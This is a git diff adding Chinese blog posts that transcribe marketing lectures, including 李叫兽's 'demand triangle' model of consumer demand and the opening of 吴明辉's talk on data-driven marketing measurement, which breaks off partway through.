+实际上，在不同的年龄层里面，优越感其实发生了巨大的断层。由于过去的生活经历和背景，还有所生时代所造成的差异，导致了60后、70后、80后、90后对优越感的基础需求有本质上的差别。这种断层导致很多企业瞬间就消失掉了。用马化腾的话说，他很难理解不同年龄层的人对优越感的要求。 + +60后、70后最主流的人群，对于优越感评定是性价比，我买的东西要超值，超值就证明我精明。这个年龄层的企业家做产品的时候，最喜欢讲的也是性价比。 + +到了80后以后，包括70年代末的人，这一个独生子女的群体非常在意别人的看法。为什么呢？因为我们需要在别人面前证明一些东西。对于这个群体而言，一个产品在身边的人眼中是不是足够好，是不是足够牛，决定了我的优越感。 + +到了90后，甚至80年代末，他们的生活条件非常好，这让他们具备了一个特别好的素质，叫自我。他们只要喜欢一个产品，所有的一切我都不在乎。我喜欢就是我的优越感，根本不需要在乎别人的看法。 + +所以不同层次的人，对于优越感的理解是完全不同的。这对于我们在座的各位不同年龄层的人，大家做企业的时候可能会遇到一个很大的挑战，就是马化腾当年说的，你什么错都没有，只是因为你变老了。 + +# 参考 + +[李想：产品与新商业](http://hdyxs.hundun.cn/Repo/h5_article_share/article_share.html?id=2fcf36d80406b005cd347733248595f6) diff --git a/_posts/2017-10-26-262-marketing.md b/_posts/2017-10-26-262-marketing.md new file mode 100644 index 0000000..57d1bd9 --- /dev/null +++ b/_posts/2017-10-26-262-marketing.md @@ -0,0 +1,427 @@ +--- +layout: post +title: 李叫兽：一个模型破解营销高手如何制胜 +pid: 262 +tags: [营销] +--- + + +文｜李叫兽（百度副总裁、知名营销类公众号“李叫兽”唯一作者） + +> 今天混沌大学让我来讲一讲营销，正式开始之前，我想先问大家两个问题。 +> +> 第一个问题：营销是什么？ +> +> 我问了身边很多人，常见的答案有这些： +> +> 营销是传播，是利用传播学技巧刷爆朋友圈； +> +> 营销是品牌，是利用媒体力量塑造强势品牌； +> +> 营销是广告，是做高效的推广，比如怎么做好百度的竞价排名； +> +> 营销是文案，是用精彩的文案打动消费者。 +> +> 第二个问题：营销高手和非高手有什么区别？ +> +> 我也问了身边的人，常见的答案有这些： +> +> 营销高手点子多； +> +> 营销高手的文案厉害； +> +> 营销高手性格外向； +> +> 营销高手学习新事物的能力强。 +> +> 这两个问题，就勾勒出了大家对营销的一般性理解。总结起来，营销似乎就是一些聪明人通过一系列高明的技巧，让企业品牌和产品获得高效传播，被消费者广泛知晓并引发消费的活动。 +> +> **真的是这样吗？ + +# 需求，是营销的第一直觉 + +本节要点： + +* 营销的核心概念是：需求； +* 营销的本质是通过利用别人的需求，来达到自己的目的； +* 营销方法的本质目的是增长消费者对你的需求。没有需求的增长，数字再漂亮的营销活动，也是无效的。 + +我再来问大家一个问题：人类能够飞上天空，谁的贡献最大？ + +我相信大家第一反应都是发明了飞机的莱特兄弟。但我认为，是牛顿和伯努利，人类如果不理解重力，不理解流体力学，就没有办法利用大自然的力量，发明出飞机翱翔天空。 + +这同样适用于我们讨论营销。 + +如果我们的营销人两眼只盯着怎么发微信、怎么做宣传、怎么搞活动这些表象，而不去挖掘营销的“重力学”原理，那么我们也会像装上一对翅膀就想飞翔的古人一样，从悬崖上摔落粉身碎骨。 + +今天我们的任务就是找到营销最底层的原理，并用一个模型破解它的核心密码。我希望这个模型能够成为营销人们最基础的思维工具，进而成为思维习惯，大家一定会从中受益。 + +因为工作的关系，我和很多企业的创始人和营销负责人有过深度的交流，他们常常会提出一些问题： + +* 我明明做了很好的产品，铺设了很好的渠道，打了很好的广告，有了非常好的传播，为什么产品无法像可口可乐那样，真正形成强势品牌，即使不打广告，大家天然对它有需求呢？ +* 我的产品质量很好，购买过的用户也非常欢迎，但为什么我无论用什么营销方法，甚至大幅降价，都没有办法实现明显的增长呢？ +* 我的产品很创新，很酷，感兴趣的人很多，可为什么这些关注只转化出寥寥无几的订单呢？ + +我认为他们的问题都触及到了营销最本质的问题：需求。 + +营销的定义非常很多，但在我看来营销的本质很简单：研究如何通过满足别人的需求，来达到自己的目的。 + +洞察用户需求，是营销的第一直觉。 + +我们每个人活在这个世界上都有欲望和目的，但我们要清楚一点，我们生活在一个价值交易系统里，你的目的往往都要依赖别人才能实现。 + +于是，营销出现了，无论公司还是个人都有营销的需要，它的功能就是让别人对你的价值产生需求。 + +我们很多企业家生产出来了非常棒的产品，于是不断买渠道投放给消费者说：你们快来买我啊，因为我很酷。 + +这样的营销，并没有在产品和用户的某个具体需求间建立关系，所以常常是无效的。但这样的基本错误，在我们的广告、宣传中每天都在反复上演。 + +所以，营销学最基本的概念是需求，所有的品牌、推广、文案、广告这些都是营销活动，而非营销的本质。如果一家公司没有抓住真实的需求，那么再多营销活动也没有意义。 + +那么从需求这个本质出发，我们再来审视营销活动。我们写文案、发微博、送红包、搞地推、让别人扫一扫……这些花样繁多的营销方法的目的该是什么呢？ + +营销方法的本质目的是增长消费者对你的需求。如果你的营销方案没有增长消费者对你的需求，那么无论它们短期内取得了怎样靓丽的曝光数据，它们在长期内就是无效的。 + +今天这堂课，我们首先来剖析用户需求的形成机制，这是这节课的重中之重，是每个营销人都应该深刻理解的命题。在此之上，我们再来探讨如何敏锐地发现用户需求的变化，抓住涌现的新需求。 + +# 需求三角 + +本节要点： + +* 缺乏感、目标物与消费者能力，构成了至关重要的“需求三角”模型； +* 失败的营销，一定是没有完成需求三角的构建； +* 优秀营销人和平庸营销人的根本区别在于：平庸者管理手段，优秀者管理需求。 + +用户需求是一个我们经常挂在嘴边的概念，听起来没有什么高深的。 + +我们常见的需求的定义是，人们为了满足特定的需要形成对特定产品和服务的购买能力。这句话很绕，似乎也没什么特别的启发感。但如果用心把这句话拆解掉，钻进去，里面包含着一个关键的“需求三角”模型。 + +形成需求的第一阶段是缺乏感。 + +所有的需求起源来自于某种缺乏，没有缺乏需求不会形成。比如一个刚毕业的女大学生，可能觉得背一个200块钱的包包很好看了。 + +但参加工作后，发现同事背着几千块的包包，缺乏感就出现了。实际上，缺乏感往往是被后天的营销所影响而形成的。 + +所有的需求最终来自于一个缺乏感，那么缺乏感是不是需求呢？当然不是，这还只是一种感觉，最终没有办法形成购买。 + +需求形成的第二个阶段，需要一个明确的目标物。 + +因文化不同，因环境不同，因人不同，同一种缺乏，会指向不同的目标物。 + +还是刚才那个毕业的女大学生，她刚入职场缺乏存在感，她刷存在感的目标物可能是背更贵的包包，可能是追求更好的绩效，也可能是和老板建立更好的关系，这取决于她的价值观。 + +缺乏感加上目标物，构成了动机。当我们帮助消费者构建出了动机时，我们的营销就成功了一大半了。但还不够。 + +需求形成的第三个要素，是消费者能力。 + +能力不仅仅指经济上的支付能力，还有消费者的学习能力、信任成本等等。总之，营销人在完成动机塑造后，要做的是给消费者赋能，让消费者最终形成购买。 + +很多产品围观群众很多，叫好不叫座，往往问题就出在这个维度上。 + +缺乏感、目标物与消费者能力，它们构成了“需求三角”模型。 + +![](/uploads/2017/10/26-00.jpg) + +李叫兽的“需求三角”模型 + +所有需求的构成必须满足这三要素，缺了其中任何一个角，最终需求都无法形成。失败的产品营销，追根溯源往往都是因为需求三角没有构建完成。 + +平庸营销人和优秀营销人的根本区别就在于此。 + +平庸营销人注重手段和技巧，比如引流的八大手段，怎么样在微信上注册一个号，弄一个美女头像，在附近加多少人，之后推什么产品。这些都不是本质问题。 + +优秀营销人非常善于管理需求，他们擅长识别和利用需求的缺口，非常擅长。企业营销需要有明确的战略，而战略来自于管理需求三角。 + +下面我们再深入解剖需求三角的三个要素，看看在工作中怎么具体使用它们。 + +# 缺乏感 + +本节要点： + +* 好的营销必须要与用户的缺乏感建立关联，唤醒消费者潜藏的缺乏感，给他一个改变自己的理由； +* 解剖“消费者落差表”，寻找激发消费者缺乏感的5大视角。 + +缺乏感，是消费者的理想与现实之差。我们通俗的说法是“痛点”。 + +要知道人是非常不喜欢改变的，对于改变很抵触。对于消费者的改变，企业永远比消费者自己着急。为什么呢？因为消费者不改变，企业的产品就卖不出去。 + +那么如何让消费者改变呢？那就必须让产品和消费者的一个潜在缺乏感建立连接。 + +比如婚恋网站，他们的常见的营销套路是利用别人来激发你的缺乏感。一个年轻人，本来过得好好的，每天上班下班，挤公交吃煎饼果子，也没太多想法。 + +但这时婚恋网站告诉他，一个和你差不多的人都结婚了，他各种条件甚至还不如你呢。 + +在这样的营销下，这个年轻人心理的落差被调动了出来，缺乏感产生了，他就会想去填补这个落差，于是商业机会出现了。 + +现在大量儿童一对一跟外教学英语的机构也使用了类似的营销策略。他们激发的父母的恐惧感——担心自己的孩子不从小学纯正的英语，未来和同龄人竞争就落后了。 + +其实呢？我们问问自己，乔布斯8岁的时候就开始学外语了吗？真相不重要，重要的是激发缺乏感。 + +我们再举一个可口可乐的例子。可口可乐诞生时之所以会迅速风靡，是因为主打了健康概念。当时美国流行的酒精饮料，而人们也清楚酒精是不健康的，所以可口可乐的营销概念是“伟大国家的无酒精饮料”，一下火了。 + +但现在可口可乐也因为高含糖量被贴上了不健康的标签，用户的需求下降了，怎么办？ + +它去年推出的新广告叫做“享受这一刻”，鼓励大家放纵自己一下，别为了长期的健康把眼前的日子过得太苦。你看，用户的缺乏感又被唤醒了。 + +所以，好的营销一定要与用户的缺乏感建立关联。大部分失败的营销和产品，是更多关注了企业自己的需求，没有和别人的缺乏感联系，从而导致最终需求没有形成。 + +比如去年我做一个培训，有一个学员是做中医推拿的，他营销的点是“内病外治”。他这种传递方式对不对呢？其实我认为是不对的。 + +为什么呢？我为什么需要内病外治，你给了我一个理由吗？这类似于让大家都T恤反穿，你为什么反穿，没有任何理由。 + +我帮他做了分析，中国人有个根深蒂固的观念是“是药三分毒”，所以我建议他把营销方向改成“非药疗法”，这样就和消费者的安全感缺乏建立了联系。 + +请大家务必记住，当你开启一个营销时，你的目标是消费者的需求增长。别人越需要你，你的营销就越成功。 + +你需要不断研究的是怎么让别人更需要你，他的缺乏感在哪里，这就是营销。 + +我们有没有系统的方法来激发用户的缺乏感呢？今天我首次发布一张我自己研发并经常使用的表格，我称之为消费者落差表。 + +![](/uploads/2017/10/26-01.jpg) + +李叫兽的“消费者落差表” + +它按照消费者观察自我的视角进行分类，5个视角涵盖了全部消费者缺乏感的来源。下面我们一个个来看这五大视角。 + +>任务的视角 + +把消费者看成一个处在任务中的人，他的落差来自完成减未完成。 + +很多营销的成功案例都是来源于对消费者任务的分解分析。 + +* 消费者在使用你的产品过程当中面临哪些任务？ +* 他距离这些任务完成还差多少？ +* 我如何通过满足他的任务，然后来获取他的支持？ + +比如一个内裤品牌的营销文案是，花了十天时间，换了五辆车，约了几个咖啡厅，还有一秒就见到女神了，结果发现却穿了一个很low的男士内裤。 + +这是一个典型的约炮情境，营销者利用了任务的目标阻碍，距离目标就差那么一点点，不能输在内裤上，必须要补上。 + +另外一个典型的例子，是营销在线贷款的文案。我们发现，在文案后面加一句话，转化率是翻倍的。什么呢？测你能贷多少。这也是在任务情境中帮助用户完善了决策闭环。很简单，但很有效。 + +>时间的视角 + +一个人不仅仅生活在任务中，还生活在时间中。我们要用时光机视角看一个人，那么他的落差来自现在减过去（或未来）。 + +纵向看一个人，对应的心理非常多，比如说恐惧、稀缺感、求新、想尝一点新鲜的事物，或者怀旧感。 + +这个视角不难理解，也常常被使用。比如2016年特别火的，1997年的单机游戏《红色警戒》出手机版了，“用手机玩儿的都是回忆”。 + +再比如尚德教育的营销语：“曾经错过大学，别再错过本科”。这些都是利用了人在时间坐标上产生的情绪。 + +时间的视角要求我们对用户做经验分析和预期分析。 + +>关系的视角 + +人都是生活在关系中的，我们需要用关系来定义自己，我们需要互相连接，在这个过程中也就产生了感情。缺乏感落差会由此产生，它的公式是自己减别人。 + +我是一个很拒绝生硬推销的人，但我曾经买过一个小姑娘向我推销的玫瑰花，因为她对我说：“你难道不应该给你的女朋友买一朵玫瑰花吗？”你看，这就是在关系中进行的营销。 + +有一个约会软件，它的宣传语是“发现正在喜欢你的人”。不是连接已经喜欢你的人，而是找到身边将要喜欢你的人。它是为你打开了建立新关系的可能。 + +这样的例子还很多。 + +比如香港楼市低迷时，有一个房地产商推出的宣传策略是：孩子的童年只有这几年，难道就在香港的出租屋当中渡过吗？ + +楼市低迷，你的宣传功能和投资价值肯定都没有吸引力，但这时候商家呼叫了关系资源，取得了成功。 + +关系的视角要求我们做消费者的关键决策路径分析。 + +>群体的视角 + +一个人除了在具体的关系中，还一定是某些群体的一部分。这个群体更多是匿名的群体。 + +群体视角，是指人们考虑做某件事时，会参照某一个群体。 + +比如滴滴的宣传语“四个小伙伴三个用滴滴”，这就利用了人的群体感，好像我不用滴滴就不是“小伙伴”了。 + +人会参照群体当中的行为，他的落差来源于哪些群体有而我没有，或者我有而群体没有，对应的是渴望、从众、回避、融入等典型行动。这个视角的落差公式是群体减自己。 + +举个例子，两三百年前的德国皇帝，如何说服民众种土豆。土豆在当时欧洲民众当中是非常low的食物，很难说服别人种植。 + +德皇采取的方法不是宣传土豆有多好，而是颁布一个法律宣布平民不能吃土豆，贵族才能种才能吃，并派一些士兵镇守贵族的土豆种植园。 + +然后国王慢慢放松了法律限制，最终解除了这个法律，所有人都开始种土豆，土豆普及了。 + +这就是利用了普通民众对于贵族生活的渴望和参考，利用了群体的力量。 + +>角色的视角 + +角色是什么呢？角色就是消费者自我，是他心理上认同的那个自我。这个自我和真实的自我是有落差的。这个视角的公式是角色减自己。 + +我在管理团队时，就常常运用角色方法。 + +比如一个项目进度落后了，我不会直接指责项目负责人，而会说：“作为一个项目的负责人，那么你现在的这种行为，显然是不对的。”这样就激活了他的角色感，他不但不会对抗，他的能量还会变强。 + +我观察身边的商业，角色营销最成功的恐怕就是孕妇防辐射服。其实稍有科学知识就知道，手机电脑的辐射危害是很小的，根本对胎儿没有什么危害。 + +但为什么防辐射服还是会畅销呢？本质上，这就是角色需求。孕妇希望通过它告诉人们：我是孕妇，大家应该照顾我。 + +所以，我们营销人在看消费者时，要考虑他是谁，他的自我认知是什么？典型句式是：作为一个啥啥，你应该怎样怎样。 + +比如一个电商的成功营销案例，做了一个动态创意，每个人点开自己的链接，都会出现一句话：N岁之后别再穿便宜货了。N是这个人的实际年龄。这个角色营销创造了很高的转化率。 + +以上是最典型的5种消费者缺乏感的来源。 + +请大家一定记住，营销人永远都在用消费者的眼睛看世界，我们要懂得消费者，能够洞察他们的缺乏感，缺什么补什么，有的放矢才是好营销。 + +# 目标物 + +本节要点： + +* 消费者需要营销者下达清晰的指令，才会形成消费； +* 营销必须提供与缺乏感准确匹配的目标物，在这个问题上，我们常犯3种错误； +* 营销人永远在发现已经存在的事实，而非发明尚不存在的认知。 + +我们解决了激发缺乏感的问题，但缺乏感只是一种感觉，一种很难受的感觉，并没有形成消费动机。这时还需要有明确的目标物。 + +形成需求的第二个要素是目标物。它是填补缺乏感的解决方案，是推动消费者决策的具体行动目标。 + +这里要引入一个心理学概念，叫做执行意向。我们怎样才更有可能推动别人去做一件事情呢？就是把这个行动说得越明确，越形成明确的目标物，那么行动达成的概率越高。 + +在营销上，我们认为，消费者往往需要营销者下达清晰的指令，才会形成消费。 + +当你给消费者提供的目标物不明确，或不符合他的认知时，消费者没有办法形成非常具体的行动，也没有办法形成动机。 + +比如有这样一个手表的广告：“不在乎天长地久，只在乎曾经拥有。”创作了缺乏感吗？创造了。我看了非常感动，就差痛哭流涕了。 + +但感动完了之后完了，没了下一步，因为我不知道这个缺乏感和买手表有什么关系，没有办法形成动机。 + +我在这里想强调一下营销和艺术的区别，广告圈很多朋友很容易把二者混淆。艺术不在乎目的，在乎的是自我表达，所以它能创造情感上的缺乏感，把人感动，就够了。 + +但营销是工具，是企业成功的工具，所以它必须能够指向匹配的目标物。 + +这里我用了“匹配”这个词，因为我们在日常观察中，看到绝大部分企业最经常犯的错误是就是目标物体和缺乏感在消费者认知中不匹配，他提供的目标物和提供的缺乏感完全没有关系。 + +举两个有点搞笑的例子。 + +第一个是一个男士内裤。它的文案大概的意思是商界精英彰显绅士风度。我总觉得作为一个商界精英，体现风度的重要方式并不是把内裤展露给别人去看，这样好像不大好，是吧？ + +另一个是在京东商城上看到的一个品牌热水器的宣传文案，“改变世界，颠覆你的生活”。我实在不知道一款热水器能怎样改变世界。除了奇怪之外，有谁会相信呢？ + +目标物和缺乏感的匹配一定要可信，才能形成动机。营销者的任务是发现其中真实的关联，并把大家内心想说的话说出来，把实话说出来而已。 + +在目标物与缺乏感的匹配上，我们常犯的错误有3种。 + +目标物过小，而缺失感很大 + +有个智能钢琴公司，定位是智能乐器老师。他们认为自己的钢琴与一般钢琴不同，他们的软件能够提示哪些曲子弹得对，哪些不对。 + +但你会发现，这个定位目标过大。它要满足的是找老师的需求，但其实产品做不到。所以后来调整了定位，改为智能陪练，消费者对他的要求降低了。企业把缺乏感调小了，目标物恰好可以满足。 + +目标物过大，而缺失感很小 + +人们使用电动牙刷真实原因，是什么呢？便捷性，你不用自己动，它自己就会动。但这样推广，发现转化率并不高。 + +所有主打便捷性的产品往往非常难以推广，为什么呢？ + +因为便捷的这种消费者价值是长期积累的，可能刷几百次牙，才能够覆盖到你买电动牙刷额外支付的成本。它提供的缺乏感很小。 + +电动牙刷最终主打的诉求是刷你刷不到的那些地方，这是更大的一个缺乏感，传统上我们用牙刷很难满足，于是解决了匹配问题，销售转化有了很大的提升。 + +目标物与缺失感连接不当 + +一个典型案例是果醋。 + +因为这种饮料是发酵饮料，有点酸，所以开始商家给它起名叫果醋。但在大部分消费者眼中，醋不是解决渴的解决方案，目标物和缺失感并不匹配，所以销售效果不佳。后来，也得商家把果醋改成了发酵果汁，销量有了明显提升。 + +不知道在上面三个案例中，你是否看出了解决目标物与缺乏感匹配陷阱的门道。那就是对目标物重新归类，更换它所要填补的缺乏感。 + +一个产品可以满足不同的缺乏感，比如保险，既可以解决你的健康保障问题，也可以满足你扮演好父亲、好丈夫的关系需求。 + +那么什么是最恰当的匹配呢？是恰好符合人们认知的匹配。缺乏感受人性的影响，目标物受文化的影响，文化其实就是我们对一些东西的既有认知。 + +所以，请一定记住，营销人永远在发现已经存在的事实，而非发明尚不存在的认知，你是一个发现者，不是一个发明家。 + +# 消费者能力 + +本节要点： + +* 把动机最终转化成需求，消费者的能力是最后一道关口； +* 营销人需要给消费者“赋能”，让消费者更有能力做出最后的消费决策； +* 消费者面对6大成本，赋能方式各不相同。 + +现在消费者已经有动机了，还缺的就是能力了。 + +我们发现在营销史上存在着大量这样的问题，就是消费者非常的心动，但是最终却没有购买。那是因为什么呢？因为消费者采取改变的成本太高了，从而超过了意愿。 + +我们来看一个极其典型的案例：如何在互联网上用大数据营销奥迪汽车。 + +按照我们惯常的思维，可以投放关键词定向推流广告，把奥迪的广告推送给那些经常在搜索奥迪关键词的用户，这应该是最精准的。但事实证明，效果并不好。 + +为什么？因为奥迪粉和奥迪消费者并不是一群人。买得起奥迪的人，不会经常搜索，直接买来开了；而经常研究奥迪的，很可能是开奇瑞的人。 + +所以，更好的营销策略应该是，根据大数据对人的收入做一个分类，给一定收入水平线上的人推送奥迪，而给经常搜索奥迪的人推送奇瑞，是更高效的营销方案。 + +从动机到购买之间，有一道并不容易翻越的山梁，就是消费者自我改变要付出的成本。 + +这个成本往往不是金钱成本，金钱成本只是其中的一种，还有非常多其它成本挡在形成购买的路上。后面我会稍作展开分析。 + +要跨越成本门槛，把动机最终转化成需求，营销人应该做的是给消费者赋能。如何让消费者更有能力，降低消费者决策成本，让消费者更加便利做出选择，这些都是赋能。 + +我们在营销上另外一个常犯的错误是，本该给消费者赋能，而却把劲儿用错了方向，不停去提高消费者的动机。 + +一个案例是波士顿交响乐团怎样提高当地人对交响乐的需求量。他们原本用了很大的力量去进行交响乐的普及教育，提高兴趣，但效果不佳。 + +后来通过调研，他们发现很多人有兴趣，但没有转化成需求，是能力问题，不是动机问题，原来交响乐团的位置不好找，而且停车很不方便。 + +于是交响乐团改造了停车场，并提供了导航服务，于是销量大幅提高。 + +我们下面就来看看影响需求最终形成的6大消费者成本，已经营销人应该如何赋能。 + +>金钱成本 + +这是大家最熟悉的成本，能够靠减少消费者的金钱成本创造新的市场机会。福特汽车就是因为大幅降价实现了普及。常见的策略很多，如促销、临时试用等等，大家很熟悉，我不再多说。 + +>形象成本 + +电饭煲在日本刚刚诞生时，主打便捷的营销点，销量不佳。调查发现，原因在于家庭主妇觉得使用电饭煲非常损害她勤劳的形象，婆婆会认为她在偷懒。 + +后来，商家主打让饭更加健康的卖点，电饭煲才得到了普及。虽然电饭煲做饭未必更健康多少，但这不重要，重要的是营销点的切换帮助消费者绕过了形象成本。 + +消费者往往不能把自己真实的消费原因说出来，营销人就要懂得用户的这个心理。 + +再比如奔驰车的消费者，他购买的真实动机是为了面子，为了社会尊贵感。但是奔驰没有一句标语说买我是为了装逼，绝大部分奔驰的广告是在讲自己的性能。这也是照顾消费者的形象风险。 + +>行动成本 + +用户使用你的产品极其麻烦耗时，他就会选择不使用。比如上面讲到的波士顿交响乐团的例子。 + +再举一个例子，现在的物联网。用手机操控家里的电器，这是一个很酷的想法，但却并不方便。我需要下载APP，然后在几十上百个APP里找到它，点开再控制，这个行动成本仍然太高。我买了好多手机控制的家用电器，其实根本不用。 + +我认为在人工智能时代，通过语音控制，物联网更有机会实现。现在的物联网不是没有用户动机，而是行动成本太高。 + +>学习成本 + +消费者必须经过额外的学习，改变已有的习惯，才能够使用的成本。 + +比如修照片，我们有动机吗？当然有。但专业的修图软件学习成本太高了，很难普及。于是出现了美图秀秀，一键美图，一下风靡了市场。 + +美国有一个知名的体育用品厂商发现，有很多所谓的“高尔夫围观者”，这些人对高尔夫感兴趣，却没有打高尔夫。 + +为什么呢？因为高尔夫球太难学了，打中那个小球太难了，学习成本太高。所以这个厂商就开发了一种大头的高尔夫球杆，不需要怎么学习就能打中球，也成功逆袭了市场。 + +>健康成本 + +消费者感知到使用某产品对健康产生了危害，这也会构成很高的成本。 + +比如早年的广东凉茶，大家把凉茶理解是药，觉得“是药三分毒”。后来王老吉把它重新定义成饮料，消费者感知的健康成本降低了，于是广泛接受它。 + +>决策成本 + +对于市面上的很多产品，消费者有购买动机，但最终没有购买，其实很重要的原因是因为巨大的决策成本。 + +之前我有一个做理财的客户，主打收益率“7%”，投了非常多的信息流广告，转化率都不好。怎么解决？很简单，文案上加了一个“乐视、联想第一轮投资”，这就大幅度提升了转化率。我们用增加信任背书，降低了消费者的决策成本。 + +以上我们比较详细地剖析了“需求三角”，我再强调一下，它非常关键，而且非常复杂，需要我们营销人反复去练习使用，经过长时间的刻意练习，才能够真正掌握。 + +最后，我想给营销从业者说几句心里话。我发现很多做了非常多年营销的人，一直原地打转，没有进步，为什么？ + +因为没有真正理解消费者需求形成的原理，并加以利用。消费者的力量非常庞大，我们必须掌握调用它的能力，才能成为优秀的营销人。 + +我非常喜欢童话书《小王子》中的一句话：“最重要东西往往是看不见的。”消费者的力量就是这种看不见的东西。利用好它的人，往往会取胜。 + + + + + diff --git a/_posts/2017-11-06-263-marketing.md b/_posts/2017-11-06-263-marketing.md new file mode 100644 index 0000000..1a24125 --- /dev/null +++ b/_posts/2017-11-06-263-marketing.md @@ -0,0 +1,390 @@ +--- +layout: post +title: 吴明辉：数据驱动营销 +pid: 263 +tags: [营销] +--- + +> 近日，几个著名的大企业都撤掉了CMO的职务，由首席客户官或者首席品牌官来担负起营销的重任。这种转变反映了一种共识：营销不再是尽可能多的把东西卖出去，而是一种与消费者关系的管理。 +> 6月10日，秒针系统、明略数据创始人吴明辉来到混沌大学，跟大家分享了主题为“数据驱动营销”的课程。他认为品牌必须建立一种双向的对话，通过对话了解消费者需要什么，并围绕他们的需求展开营销。 + +文｜吴明辉 + +秒针系统、明略数据创始人 + +在我们讲数据和营销的关系之前，先分享一个有趣的足球队故事。2015-2016赛季的英超赛场，莱斯特城创造奇迹，升班马球队出人意料赢得冠军。 + +赛季之初，莱斯特城的夺冠赔率是1赔5000 。这个赔率等同于尼斯湖水怪是存在的，或者迈克尔杰克逊还活着，这个赔率等同于英超一直办下去,莱斯特城需要7016 年才能夺冠。一支身价总和仅有3000万英镑，还不及一名中超外援的球队，是如何成就足球童话的呢？ + +除了众所周知的绿荫场成功经验，诸如纪律团结、作风强悍、战术明确、教练指导有方等，莱斯特城最卓越最独特的成功经验是：充分理解、尊重和运用数据。一方面，用大数据来分析筛选球员，另一方用运动科学数据来指导球员的训练。 + +在球队夺冠前的2-3年，莱斯特城追踪了11万球员数据：他们对目标球员依照程序追踪处理大量数据，诸如创造一次机会所需时间、跑动距离和速度、重新获得控球权的次数和其他变量。莱斯特城的球探团队就是数据分析师，谁最符合球队战术打法，谁最能满足球队的需求，一切以数据来说话。 + +数据思维升级了球队管理观念，数据分析成为夺冠的创新变量。不管是体育、人文学科也好，营销也罢，一切事物的背后都是有都是可以用数学逻辑来解释的的。除了爱，一切事物的价值都可以量化、被测量。而数据是价值表达的载体。我们通过观察、理解数据来发现事物的本质。 + +大数据时代附能我们对于各种各样的数据进行观察和分析，我们可以利用数学逻辑，帮助我们优化提高整个工作效率。在营销中利用数据来提升效率，就是现在最好的应用场景之一。 + +我们要真正把自己的投资和最终产出的数据关联到一起，知道每一笔投资最终给我们的产品销售产生了什么样的价值。 + +首先，我们进一步明确一下为什么要利用数据来驱动营销？ + +营销从本质上而言是企业的一种投资。企业主在把营销费用投出去的时候，都没有很确定的把握这笔费用是不是花对了，未来能给我们的企业带来多少收入。 + +假如我们能把消费者的数据存下来进行分析，我们就不仅可以评估企业之前的广告投放效果，更重要是能够对未来的营销提供更好的指导，让奇迹被大量复制。 + + +# 大数据驱动测量效率提升 + +在改变世界的过程中，很核心的一件事是测量。为什么？因为我们需要尽早地去了解这个世界的变化，尽早地做出响应。只有及时地测量，才有可能及时地了解消费者以及竞争环境的变化，才有可能真正做出正确的决定，指导下一次营销活动，同时调整当前营销活动。 + +所以一切事物的价值是可以测量的，我们需要在不断测量的过程中，调整自己的动作。 + +> 数据是营销价值测量和评估的载体 + +在自动化领域里，工程学里面有一个概念叫做感知和响应模型，什么叫感知和响应呢？比如，一架飞机在飞翔过程中，随着气流的变化，飞机机翼上面的传感器，能感知到现在的风速、风向以及机翼承受的压力和压强，以便及时调整后面的动作，更加平稳地飞行。 + +这个感知和响应模型，最关键的是响应的周期，即能不能及时地感知并响应，感应的效率越高，浪费越小，效率提升越大。 + +其实大家家里淋浴的花洒也是感知和响应的模型。相信大家都有这样的经历，你打开花洒的时候，你发现水可能有点凉，这时候开始往热的方向去调，等过了十几秒，这时候水热了，发现太热了，开始往冷的那边调，不断调整的过程中，自己心里会想为什么浪费这么多水。调整的周期越长，浪费的水越多；调整的越快，浪费的水越少。 + +所以，测量的价值就像我们身上的皮肤，能够感知水热水冷。在营销活动中的每一个环节里，如果你能第一时间感知到水是冷的，还是热的，就可以第一时间进行调整，调整周期越短，浪费就越少，这是一个非常简单的道理。 + +> 消费转换漏斗模型- Watch、 Buy、Brand + +数据是价值测量的结果表达载体，决策那些营销环节的价值需要被测量是第一步。营销的本质是赢得客户，我们先理解什么是消费者的“消费转换漏斗”。 + +企业在第一次看到消费者，到他成为你真正消费者的这个过程中间，要经过层层转换。这个过程的转换在不断的流失，可能一开始有10000个人，到最后真正成为消费者的，可能只有100个人。这个流失过程称之为消费者的“消费转换漏斗”。从潜在客户到客户的整个过程，如何通过数据测量，如何在这个过程中不断提高效率，这是很核心的一件事情。 + +最近几十年里面，整个消费者漏斗的转换模型，在不同的时代，不同的营销，不管是广告公司，媒体，还是广告主自己的研究部门，他们都在给他们的营销过程设计很多不同的模型。 + +这个模型设计得越复杂，里面的环节越多，它有可能指导出来的营销意义也就越大。但是在不同的渠道，在不同的产品，不同的生命周期里面，企业所采用的消费者漏斗模型都不应该完全一样。 + +我个人比较喜欢的两个非常简单的模型。 + +第一个模型就是所有营销里面最基本的理论——WHO、WHAT、HOW。 + +营销者都要知道，我们要面对最终消费者是谁，所有的营销分析、测量，围绕最终消费者和潜在消费者来去进行分析，就是WHO的问题，如果WHO的问题没有解决不要做营销了。 + +第二件事情是WHAT，我们卖什么产品给最终消费者，卖给消费者过程中，需要使用什么样的内容，什么样的形式传达产品给到他，这是WHAT。前两个问题不是营销问题，是一个企业的战略问题，是一个企业的产品问题，是一个企业产品经理应该首先思考的问题。 + +第三个问题才是传统意义上的营销者要考虑问题WHO和WHAT已经确定了，通过什么样的方式HOW去解决这个，把我们产品卖出去这个过程。所以这三个问题我们思考清楚之后，营销战略思考清楚了，通过数据驱动营销，通过数据测量三个不同的问题，实时的感知，实时的调整。 + +第二个模型：另外三个单词：Watch、 Buy和Brand。 + +Watch指的是让消费者看到内容，电视、网络视频、邮件、短信、电话，都是可以让消费者看到内容的渠道。 + +Watch的最终目标，是Buy。我们的每一次营销活动，最终都是希望消费者购买我们自己的产品。做数据驱动营销，就是要把Watch和Buy连接到一起，分析每一个环节的投入产出比。 + +当Watch-Buy的决策周期有点长的时候，实际上它不可能直接产生效果，这个时候营销专家就在中间加了Brand环节。通过营销，我们可以使消费者在大脑里面对我们的品牌产生印象和认识，对未来产品购买有一定倾向，我们称之为品牌，称之为消费者脑海中的企业品牌的资产。 + +有了这样三个状态，我们再进行消费者的测量和数据分析，这是我们通过数据来进行优化营销效率的一个最基本的原理。 + +在如今的互联网和大数据时代，不管是Watch，Buy，还是Brand，所有的数据采集都在变得越来越及时，采集成本也越来越低。所以每一个企业都可以通过很低的成本来去分析自己的营销效率，从而不断提高它。 + +> 传统手段测量Watch、Brand、Buy + +接下来给大家讲讲传统企业究竟如何测量Watch、Brand、Buy这三个指标的。 + +> 收视率（Watch）的测量 + +传统收视率的调查，采用了一个非常原始的方法——日记卡。 + 